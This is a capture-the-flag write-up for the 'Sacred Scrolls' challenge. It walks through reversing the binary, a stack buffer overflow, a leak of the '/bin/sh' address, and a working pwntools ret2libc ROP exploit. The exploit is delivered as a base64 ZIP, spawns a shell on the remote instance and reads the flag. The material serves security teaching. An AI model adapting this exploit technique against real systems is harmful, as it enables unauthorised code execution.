Sacred Scrolls
17 minutes to read
We are given a 64-bit binary called sacred_scrolls
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Reverse engineering
If we open the binary in Ghidra, we will see this decompiled C source code for the main
function:
void main() {
undefined8 *puVar1;
long i;
byte bVar2;
undefined wizard_tag[1528];
undefined8 uStack_110;
undefined8 target;
undefined8 local_100;
undefined8 local_f8;
undefined8 local_f0;
undefined8 local_e8;
undefined8 local_e0;
undefined8 local_d8;
undefined8 local_d0;
undefined8 local_c8;
undefined8 local_c0;
undefined8 local_b8;
undefined8 local_b0;
undefined8 local_a8;
undefined8 local_a0;
undefined8 local_98;
undefined8 local_90;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined *wizard_tag_copy;
undefined8 local_38;
undefined4 local_2c;
bVar2 = 0;
uStack_110 = 0x400ecc;
setup();
uStack_110 = 0x400ed1;
banner();
uStack_110 = 0x400edb;
clean();
uStack_110 = 0x400eec;
printf("\nEnter your wizard tag: ");
local_2c = 0x600;
local_38 = 0x5ff;
wizard_tag_copy = wizard_tag;
read(0, wizard_tag, 1535);
printf("\nInteract with magic library %s", wizard_tag_copy);
puVar1 = ⌖
for (i = 25; i != 0; i--) {
*puVar1 = 0;
puVar1 = puVar1 + (ulong)bVar2 * -2 + 1;
}
while (true) {
while (i = menu(), i == 2) {
puVar1 = (undefined8 *) spell_read();
target = *puVar1;
local_100 = puVar1[1];
local_f8 = puVar1[2];
local_f0 = puVar1[3];
local_e8 = puVar1[4];
local_e0 = puVar1[5];
local_d8 = puVar1[6];
local_d0 = puVar1[7];
local_c8 = puVar1[8];
local_c0 = puVar1[9];
local_b8 = puVar1[10];
local_b0 = puVar1[0xb];
local_a8 = puVar1[0xc];
local_a0 = puVar1[0xd];
local_98 = puVar1[0xe];
local_90 = puVar1[0xf];
local_88 = puVar1[0x10];
local_80 = puVar1[0x11];
local_78 = puVar1[0x12];
local_70 = puVar1[0x13];
local_68 = puVar1[0x14];
local_60 = puVar1[0x15];
local_58 = puVar1[0x16];
local_50 = puVar1[0x17];
local_48 = puVar1[24];
printf(&DAT_00401f50,&target);
}
if (i == 3) break;
if (i == 1) {
spell_upload();
}
}
spell_save(&target);
/* WARNING: Subroutine does not return */
exit(0x16);
}
Here we are asked to enter wizard tag and then we have menu with three options:
$ ./sacred_scrolls
ββββββββ
β β β β β βββββββββ βββ
ββ β β β β β β β β β β βββ ββββββββ βββββ β
ββββββββββ β β βββ
β β β β ββββββββββββ β β β β βββ
β ββ β β β β ββ βββββββ β β β βββββ
β ββββββ β β β β β β ββββββ
β ββββββ β ββ ββ ββ ββββββββ
β β β β βββββββ β β β ββ β ββββββββββββ
β βββββββββ β β β ββββββ βββββββββββ
β ββββββββββ ββ βββββββββββββββββ
ββ ββββββββββββ ββ β β ββ ββββββββββββββ
ββββββββββ ββββ β β β β ββ βββββββββββ β
ββββββββββββ β β β ββ ββββββββββββ
βββββββ βββ ββ β ββ ββ βββββββββββββ β β β β
βββββββββ ββββ βββ ββ βββββββββββ β β β
βββ ββββββ ββ ββ ββββββββββββββ ββ
β ββββββββ ββββββββββββββββ β β β β
βββ β ββββββββββββββββββ β β β β
βββββββββββββββββββββ β β
β ββββββββββββββββββ β β β ββ β
βββββββββββββββ β β β β β
ββββββββββββ β β
ββββββββ β β ββ β β
β β ββ β β β ββ
β β
[+] All β
β β β³ β³ β
have been whiped out..
Enter your wizard tag: asdf
Interact with magic library asdf
1. Upload β
β β β³ β³
2. Read β
β β β³ β³
2. Cast β
β β β³ β³
3. Leave
>>
Option to upload files
The first option is handled by spell_upload
:
void spell_upload() {
char cVar1;
long lVar2;
ulong uVar3;
undefined8 *puVar4;
undefined4 *puVar5;
byte bVar6;
undefined auStack_1230[8];
undefined local_1228[15];
undefined8 uStack_1219;
undefined2 auStack_1211[2036];
char cStack_229;
undefined8 local_228[65];
FILE *fp;
ulong local_18;
ulong local_10;
bVar6 = 0;
puVar4 = local_228;
for (lVar2 = 0x40; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
}
puVar4 = (undefined8 *) local_1228;
for (lVar2 = 0x200; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
}
auStack_1230 = (undefined[8]) 0x400aa5;
printf("\n[*] Enter file (it will be named spell.zip): ");
auStack_1230 = (undefined[8]) 0x400abe;
local_18 = read(0, local_228, 0x1ff);
*(undefined *) ((long) local_228 + (local_18 - 1)) = 0;
for (local_10 = 0; local_10 < local_18; local_10 = local_10 + 1) {
if (((((*(char *) ((long) local_228 + local_10) < 'a') ||
('z' < *(char *) ((long) local_228 + local_10))) &&
((*(char *) ((long) local_228 + local_10) < 'A' ||
('Z' < *(char *) ((long) local_228 + local_10))))) &&
(((*(char *) ((long) local_228 + local_10) < '0' ||
('9' < *(char *) ((long) local_228 + local_10))) &&
(*(char *) ((long) local_228 + local_10) == '.')))) &&
(*(char *) ((long) local_228 + local_10) == '\0')) {
auStack_1230 = (undefined [8])0x400bbc;
printf("\n%s[-] File contains invalid charcter: [%c]\n", &DAT_0040124f, (ulong) (uint) (int) *(char *) ((long) local_228 + local_10));
/* WARNING: Subroutine does not return */
auStack_1230 = (undefined [8])0x400bc6;
exit(0x14);
}
}
local_1228._0_4_ = 0x6f686365;
local_1228._4_2_ = 0x2720;
local_1228[6] = 0;
auStack_1230 = (undefined[8]) 0x400c04;
strcat(local_1228, (char *) local_228);
uVar3 = 0xffffffffffffffff;
puVar5 = (undefined4 *) local_1228;
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *(char *) puVar5;
puVar5 = (undefined4 *) ((long) puVar5 + (ulong)bVar6 * -2 + 1);
} while (cVar1 != '\0');
uVar3 = ~uVar3;
*(undefined8 *) (auStack_1230 + uVar3 + 7) = 0x65736162207c2027;
*(undefined8 *) ((long) local_1228 + uVar3 + 7) = 0x203e20642d203436;
*(undefined8 *) ((long) auStack_1211 + (uVar3 - 8)) = 0x697a2e6c6c657073;
*(undefined2 *) ((long) auStack_1211 + uVar3) = 0x70;
auStack_1230 = (undefined[8]) 0x400c71;
system(local_1228);
auStack_1230 = (undefined[8]) 0x400c84;
fp = fopen("spell.zip", "rb");
if (fp == NULL) {
auStack_1230 = (undefined[8]) 0x400ca7;
printf("%s\n[-] There is no such file!\n\n", &DAT_0040124f);
/* WARNING: Subroutine does not return */
auStack_1230 = (undefined[8]) 0x400cb1;
exit(-0x45);
}
auStack_1230 = (undefined[8]) 0x400cd0;
printf("%s\n[+] Spell has been added!\n%s", &DAT_004011d2, &DAT_004011ca);
auStack_1230 = (undefined[8]) 0x400cdb;
close((int) fp);
}
Here we can see some hexadecimal numbers that are actually printable bytes that form a command string:
$ python3 -q
>>> from pwn import p8, p16, p32, p64
>>> p32(0x6f686365) + p16(0x2720)
b"echo '"
>>> p64(0x65736162207c2027) + p64(0x203e20642d203436) + p64(0x697a2e6c6c657073) + p8(0x70)
b"' | base64 -d > spell.zip"
So, we can guess that we must upload a ZIP file encoded in Base64, and it will be decoded and saved as spell.zip
. One important thing is that we already have system
loaded in the binary.
Option to read files
The second options (read or cast) use the function spell_read
:
char* spell_read() {
int ret;
char *data;
FILE *fp;
data = (char *) malloc(400);
system("unzip spell.zip");
fp = fopen("spell.txt", "rb");
if (fp == NULL) {
printf("%s\n[-] There is no such file!\n\n", &DAT_0040124f);
/* WARNING: Subroutine does not return */
exit(-0x45);
}
fread(data, 399, 1, fp);
ret = strncmp(data, &DAT_004012f2, 4);
if (ret == 0) {
ret = strncmp(data + 4, &DAT_004012f7, 3);
if (ret == 0) {
close((int) fp);
return data;
}
}
printf("%s\n[-] Your file does not have the signature of the boy who lived!\n\n", &DAT_0040124f);
/* WARNING: Subroutine does not return */
exit(0x520);
}
This one looks simpler. Basically, it decompresses the file spell.zip
using unzip
, then reads the contents of spell.txt
(which is supposed to be inside the ZIP file) and returns the content if it some conditions are met.
In Ghidra, we find out what values are stored at DAT_004012f2
and DAT_004012f7
:
DAT_004012f2 XREF[1]: spell_read:00400d69(*)
004012f2 f0 ?? F0h
004012f3 9f ?? 9Fh
004012f4 91 ?? 91h
004012f5 93 ?? 93h
004012f6 00 ?? 00h
DAT_004012f7 XREF[1]: spell_read:00400d89(*)
004012f7 e2 ?? E2h
004012f8 9a ?? 9Ah
004012f9 a1 ?? A1h
004012fa 00 ?? 00h
The first 4 bytes of spell.txt
must be "\xf0\x9f\x91\x93"
and the next 3 bytes must be "\xe2\x9a\xa1"
. These values are actually emoji:
$ python3 -q
>>> b"\xf0\x9f\x91\x93"
b'\xf0\x9f\x91\x93'
>>> b"\xf0\x9f\x91\x93".decode()
'π'
>>> b"\xe2\x9a\xa1".decode()
'β‘'
Option to save file
This option is handled by spell_save
, and it will exit the program after being called (see main
):
void spell_save(void *param_1) {
undefined local_28[32];
memcpy(local_28, param_1, 600);
printf("%s\n[-] This spell is not quiet effective, thus it will not be saved!\n", &DAT_0040124f);
return;
}
Buffer Overflow vulnerability
Here we have a clear Buffer Overflow vulnerability because local_28
is a character array of 32 bytes, but the program copies up to 600 bytes from param_1
. Therefore, we can write outside of the local_28
array and modify existing values on the stack that are used by the program to control the execution flow. For instance, when the program calls spell_save
from main
, it stores the return address to main
on the stack so that it can be popped when returning from spell_save
.
Notice that param_1
is target
in main
, which is the return value from spell_read
. Therefore, we will be exploiting the Buffer Overflow vulnerability with a file spell.txt
compressed in a ZIP archive.
Another way of figuring out how to control param_1
is by testing in GDB. First, let’s create the payload file with a pattern string so that we can use it later:
$ echo -ne "\xf0\x9f\x91\x93\xe2\x9a\xa1$(pwn cyclic 100)" > spell.txt
$ zip spell.zip spell.txt
adding: spell.txt (deflated 47%)
$ base64 -w0 spell.zip
UEsDBBQAAAAIAJWlhVU4LwDzOQAAAGsAAAAJABwAc3BlbGwudHh0VVQJAAMqSo5jKkqOY3V4CwABBOgDAAAE6AMAAA3DRw2EAAAAMK3szbGHDMKPD8EaCk4CbdL/fZzv9QSERsYmpmbmFpZW1ja2/uzsHRydnF1c3dz9AFBLAQIeAxQAAAAIAJWlhVU4LwDzOQAAAGsAAAAJABgAAAAAAAEAAAC0gQAAAABzcGVsbC50eHRVVAUAAypKjmN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBPAAAAfAAAAAAA
Now we can start GDB:
$ gdb -q sacred_scrolls
Reading symbols from sacred_scrolls...
(No debugging symbols found in sacred_scrolls)
gefβ€ run
Starting program: ./sacred_scrolls
ββββββββ
β β β β β βββββββββ βββ
ββ β β β β β β β β β β βββ ββββββββ βββββ β
ββββββββββ β β βββ
β β β β ββββββββββββ β β β β βββ
β ββ β β β β ββ βββββββ β β β βββββ
β ββββββ β β β β β β ββββββ
β ββββββ β ββ ββ ββ ββββββββ
β β β β βββββββ β β β ββ β ββββββββββββ
β βββββββββ β β β ββββββ βββββββββββ
β ββββββββββ ββ βββββββββββββββββ
ββ ββββββββββββ ββ β β ββ ββββββββββββββ
ββββββββββ ββββ β β β β ββ βββββββββββ β
ββββββββββββ β β β ββ ββββββββββββ
βββββββ βββ ββ β ββ ββ βββββββββββββ β β β β
βββββββββ ββββ βββ ββ βββββββββββ β β β
βββ ββββββ ββ ββ ββββββββββββββ ββ
β ββββββββ ββββββββββββββββ β β β β
βββ β ββββββββββββββββββ β β β β
βββββββββββββββββββββ β β
β ββββββββββββββββββ β β β ββ β
βββββββββββββββ β β β β β
ββββββββββββ β β
ββββββββ β β ββ β β
β β ββ β β β ββ
β β
[Detaching after vfork from child process 3901791]
[Detaching after vfork from child process 3901793]
[+] All β
β β β³ β³ β
have been whiped out..
Enter your wizard tag: asdf
Interact with magic library asdf
1. Upload β
β β β³ β³
2. Read β
β β β³ β³
2. Cast β
β β β³ β³
3. Leave
>> 1
[*] Enter file (it will be named spell.zip): UEsDBBQAAAAIAJWlhVU4LwDzOQAAAGsAAAAJABwAc3BlbGwudHh0VVQJAAMqSo5jKkqOY3V4CwABBOgDAAAE6AMAAA3DRw2EAAAAMK3szbGHDMKPD8EaCk4CbdL/fZzv9QSERsYmpmbmFpZW1ja2/uzsHRydnF1c3dz9AFBLAQIeAxQAAAAIAJWlhVU4LwDzOQAAAGsAAAAJABgAAAAAAAEAAAC0gQAAAABzcGVsbC50eHRVVAUAAypKjmN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBPAAAAfAAAAAAA
[Detaching after vfork from child process 3902190]
[+] Spell has been added!
1. Upload β
β β β³ β³
2. Read β
β β β³ β³
2. Cast β
β β β³ β³
3. Leave
>> 2
[Detaching after vfork from child process 3902249]
Archive: spell.zip
inflating: spell.txt
β
β β β³ β³: πβ‘aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
1. Upload β
β β β³ β³
2. Read β
β β β³ β³
2. Cast β
β β β³ β³
3. Leave
>> 3
[-] This spell is not quiet effective, thus it will not be saved!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400eb3 in spell_save ()
gefβ€ x/s $rsp
0x7fffffffdf88: "aaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
gefβ€ x/i $rip
=> 0x400eb3 <spell_save+62>: ret
And here we have caused the Buffer Overflow. The program has stopped (segmentation fault) because the instruction ret
is trying to use aaajaaak
as the return address, which is obviously invalid.
Using pwn cyclic
again, we can find the offset where aaaj
is located within the pattern string:
$ pwn cyclic -l aaaj
33
So we will need the two emoji and 33 additional characters to reach the position of the return address.
Exploit strategy
Let’s recall that the binary has system
already loaded. We can find it at 0x400820
:
$ objdump -M intel -d sacred_scrolls | grep system
0000000000400820 <system@plt>:
400820: ff 25 6a 27 20 00 jmp QWORD PTR [rip+0x20276a] # 602f90 <system@GLIBC_2.2.5>
400a28: e8 f3 fd ff ff call 400820 <system@plt>
400a34: e8 e7 fd ff ff call 400820 <system@plt>
400c6c: e8 af fb ff ff call 400820 <system@plt>
400cfb: e8 20 fb ff ff call 400820 <system@plt>
The objective of the exploit is to call system("/bin/sh")
. For that, we need to find the address of "/bin/sh"
at runtime due to ASLR. This protection affects shared libraries like Glibc and PIE binaries (which is not the case in this challenge). In order to bypass ASLR in Glibc, we must get a memory leak of at runtime, so that we can compute the base address and then calculate anything using offsets.
Although we could do the classic technique of using puts
to leak an address stored at the GOT, this time I found an easier way. Notice that in main
we are asked for a wizard tag. It is a bit weird that the program reads up to 1535 bytes for a useless string:
printf("\nEnter your wizard tag: ");
local_2c = 0x600;
local_38 = 0x5ff;
wizard_tag_copy = wizard_tag;
read(0, wizard_tag, 1535);
Let’s use GDB to examine the memory address of wizard_tag
before writing any information:
$ gdb -q sacred_scrolls
Reading symbols from sacred_scrolls...
(No debugging symbols found in sacred_scrolls)
gefβ€ run
Starting program: ./sacred_scrolls
ββββββββ
β β β β β βββββββββ βββ
ββ β β β β β β β β β β βββ ββββββββ βββββ β
ββββββββββ β β βββ
β β β β ββββββββββββ β β β β βββ
β ββ β β β β ββ βββββββ β β β βββββ
β ββββββ β β β β β β ββββββ
β ββββββ β ββ ββ ββ ββββββββ
β β β β βββββββ β β β ββ β ββββββββββββ
β βββββββββ β β β ββββββ βββββββββββ
β ββββββββββ ββ βββββββββββββββββ
ββ ββββββββββββ ββ β β ββ ββββββββββββββ
ββββββββββ ββββ β β β β ββ βββββββββββ β
ββββββββββββ β β β ββ ββββββββββββ
βββββββ βββ ββ β ββ ββ βββββββββββββ β β β β
βββββββββ ββββ βββ ββ βββββββββββ β β β
βββ ββββββ ββ ββ ββββββββββββββ ββ
β ββββββββ ββββββββββββββββ β β β β
βββ β ββββββββββββββββββ β β β β
βββββββββββββββββββββ β β
β ββββββββββββββββββ β β β ββ β
βββββββββββββββ β β β β β
ββββββββββββ β β
ββββββββ β β ββ β β
β β ββ β β β ββ
β β
[Detaching after vfork from child process 3909266]
[Detaching after vfork from child process 3909268]
[+] All β
β β β³ β³ β
have been whiped out..
Enter your wizard tag: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ea7992 in read () from ./glibc/libc.so.6
gefβ€ x/i $rip
=> 0x7ffff7ea7992 <read+18>: cmp rax,0xfffffffffffff000
gefβ€ x/50gx $rsi
0x7fffffffdf90: 0x0000000000000000 0x0000000000000000
0x7fffffffdfa0: 0x00007ffff7f6b698 0x00000000f7e7e0f0
0x7fffffffdfb0: 0x0000000000000000 0x00000000ffffe3e0
0x7fffffffdfc0: 0x00007fff00000000 0x0000000000000004
0x7fffffffdfd0: 0x00007fff00000000 0x0000000000000000
0x7fffffffdfe0: 0x0000000000000000 0x0000000000000000
0x7fffffffdff0: 0x0000000000000000 0x0000000000000000
0x7fffffffe000: 0x0000000000000000 0x0000000000000000
0x7fffffffe010: 0x0000000000000000 0x00007ffff7fce37c
0x7fffffffe020: 0x00007ffff7fbb580 0x00007ffff7d97ad0
0x7fffffffe030: 0x00000000677f9a5f 0x00007ffff7d95424
0x7fffffffe040: 0x00007ffff7fbc088 0x00007ffff7fce7e9
0x7fffffffe050: 0x0000000000000226 0x00007ffff7da9650
0x7fffffffe060: 0x00007ffff7fbb580 0x00007fffffffe108
0x7fffffffe070: 0x0000000000000000 0x0000000004000000
0x7fffffffe080: 0x00007ffff7dd5520 0x0000000000000000
0x7fffffffe090: 0x00007ffff7ffe650 0x27d0436c9c8f4500
0x7fffffffe0a0: 0x00007fffffffe1d0 0x00000000004011a8
0x7fffffffe0b0: 0x00007fffffffe3e0 0x00007fffffffe240
0x7fffffffe0c0: 0x00007ffff7fae7a0 0x00007ffff7fae840
0x7fffffffe0d0: 0x00007ffff7ffd040 0x00007ffff7ea690b
0x7fffffffe0e0: 0x0000000000000000 0x00007ffff7e7e0f0
0x7fffffffe0f0: 0x00000001f7fc1300 0x27d0436c9c8f4500
0x7fffffffe100: 0x0000000000000000 0x0000000000000000
0x7fffffffe110: 0x0000000000000000 0x0000000004000000
There are a lot of memory addresses from Glibc (those that start with 0x7ffff7
) and from the stack (those that start with 0x7fffffff
). Fortunately, the first address we find is actually the address of "/bin/sh"
:
gefβ€ x/s 0x00007ffff7f6b698
0x7ffff7f6b698: "/bin/sh"
We could have also used some other functions to see this information:
gefβ€ backtrace
#0 0x00007ffff7ea7992 in read () from ./glibc/libc.so.6
#1 0x0000000000400f66 in main ()
gefβ€ telescope
0x007fffffffdf88β+0x0000: 0x00000000400f66 β <main+178> mov rax, QWORD PTR [rbp-0x38] β $rsp
0x007fffffffdf90β+0x0008: 0x0000000000000000 β $rsi
0x007fffffffdf98β+0x0010: 0x0000000000000000
0x007fffffffdfa0β+0x0018: 0x007ffff7f6b698 β 0x68732f6e69622f ("/bin/sh"?)
0x007fffffffdfa8β+0x0020: 0x00000000f7e7e0f0
0x007fffffffdfb0β+0x0028: 0x0000000000000000
0x007fffffffdfb8β+0x0030: 0x00000000ffffe3e0
0x007fffffffdfc0β+0x0038: 0x00007fff00000000
0x007fffffffdfc8β+0x0040: 0x0000000000000004
0x007fffffffdfd0β+0x0048: 0x00007fff00000000
In order to leak this value we must enter exactly 16 bytes. Since strings in C are terminated with a null byte, if we enter 16 bytes, then printf
will print the same 16 bytes plus the memory address of "/bin/sh"
because there is no null byte in between.
Exploit development
Let’s start by leaking the address of "/bin/sh"
. We can use this Python script:
#!/usr/bin/env python3
from pwn import *
context.binary = 'sacred_scrolls'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
p.sendafter(b'Enter your wizard tag: ', b'A' * 16)
p.recvuntil(b'A' * 16)
bin_sh_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'"/bin/sh" address: {hex(bin_sh_addr)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './sacred_scrolls': pid 3915189
[*] "/bin/sh" address: 0x7f4cb61e7698
[*] Switching to interactive mode
1. Upload β
β β β³ β³
2. Read β
β β β³ β³
2. Cast β
β β β³ β³
3. Leave
>> $
There it is. Now we will exploit the Buffer Overflow vulnerability to call system("/bin/sh")
(this is known as ret2libc attack).
Since NX is enabled, we must use Return Oriented Programming (ROP) in order to execute arbitrary code. For x86_64 binaries, arguments for function calls are stored in registers (in order: $rdi
, $rsi
, $rdx
, $rcx
…). We can set these registers using gadgets, which are sets of instructions that end in ret
. The purpose of using gadgets is to fill the stack with pointers to gadgets, so that the program executes a gadget and returns to the next one. That’s why this payload is known as ROP chain.
We can find a useful gadget for $rdi
:
$ ROPgadget --binary sacred_scrolls | grep 'pop rdi'
0x0000000000401183 : pop rdi ; ret<
So, we need to define this ROP chain:
pop_rdi_ret = 0x401183
system_plt = 0x400820
payload = b'\xf0\x9f\x91\x93\xe2\x9a\xa1'
payload += b'A' * 33
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_plt)
Moreover, we need to enter the payload in a file called spell.txt
, compress it using ZIP and encode the result in Base64:
with open('spell.txt', 'wb') as f:
f.write(payload)
os.system('zip spell.zip spell.txt')
os.system('rm spell.txt')
with open('spell.zip', 'rb') as f:
data = b64e(f.read()).encode()
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Enter file (it will be named spell.zip): ', data)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'3')
p.interactive()
Using the above code, we can almost finish the exploit, because it does not work properly:
$ python3 solve.py
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './sacred_scrolls': pid 3919915
[*] "/bin/sh" address: 0x7f74ea3a5698
adding: spell.txt (deflated 53%)
[*] Switching to interactive mode
[-] This spell is not quiet effective, thus it will not be saved!
[*] Got EOF while reading in interactive
$
Debugging exploit
We can attach GDB to the process using this sentence:
gdb.attach(p, 'continue')
$ python3 solve.py
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './sacred_scrolls': pid 3921036
[*] running in new terminal: ['/usr/bin/gdb', '-q', './sacred_scrolls', '3921036', '-x', '/tmp/pwnqm8ivbkx.gdb']
[*] "/bin/sh" address: 0x7f608722b698
adding: spell.txt (deflated 53%)
[*] Switching to interactive mode
[-] This spell is not quiet effective, thus it will not be saved!
[*] Got EOF while reading in interactive
$
And in GDB the program stops here (segmentation fault):
gefβ€ x/i $rip
=> 0x7f60870a3963: movaps XMMWORD PTR [rsp],xmm1
gefβ€ p/x $rsp
$1 = 0x7ffd29fdf148
This issue is known as stack alignment. It happens with instructions like movaps
, which fail if the stack is not aligned to an address that is multiple of 16 (which is the same to say that the last hexadecimal digit of $rsp
is a 0
). To overcome this issue, we can add a simple ret
gadget to our ROP chain, so the stack pointer is increased in 8. A ret
gadget can be just the same pop_rdi_ret
gadget plus one, to take only the ret
instruction:
pop_rdi_ret = 0x401183
system_plt = 0x400820
payload = b'\xf0\x9f\x91\x93\xe2\x9a\xa1'
payload += b'A' * 33
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(pop_rdi_ret + 1)
payload += p64(system_plt)
And now it works properly:
$ python3 solve.py
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './sacred_scrolls': pid 3924655
[*] "/bin/sh" address: 0x7fda53402698
adding: spell.txt (deflated 56%)
[*] Switching to interactive mode
[-] This spell is not quiet effective, thus it will not be saved!
$ ls
glibc sacred_scrolls solve.py spell.txt spell.zip
Flag
So, let’s try remotely:
$ python3 solve.py 139.59.189.31:31177
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Opening connection to 139.59.189.31 on port 31177: Done
[*] "/bin/sh" address: 0x7f5345a86698
updating: spell.txt (deflated 56%)
[*] Switching to interactive mode
[-] This spell is not quiet effective, thus it will not be saved!
$ ls
flag.txt
glibc
sacred_scrolls
spell.txt
spell.zip
$ cat flag.txt
HTB{r3t2l1bc_4_51mpl3_5p3ll_but_qu13t_unbr34k4bl3}
The full exploit code is here: solve.py
.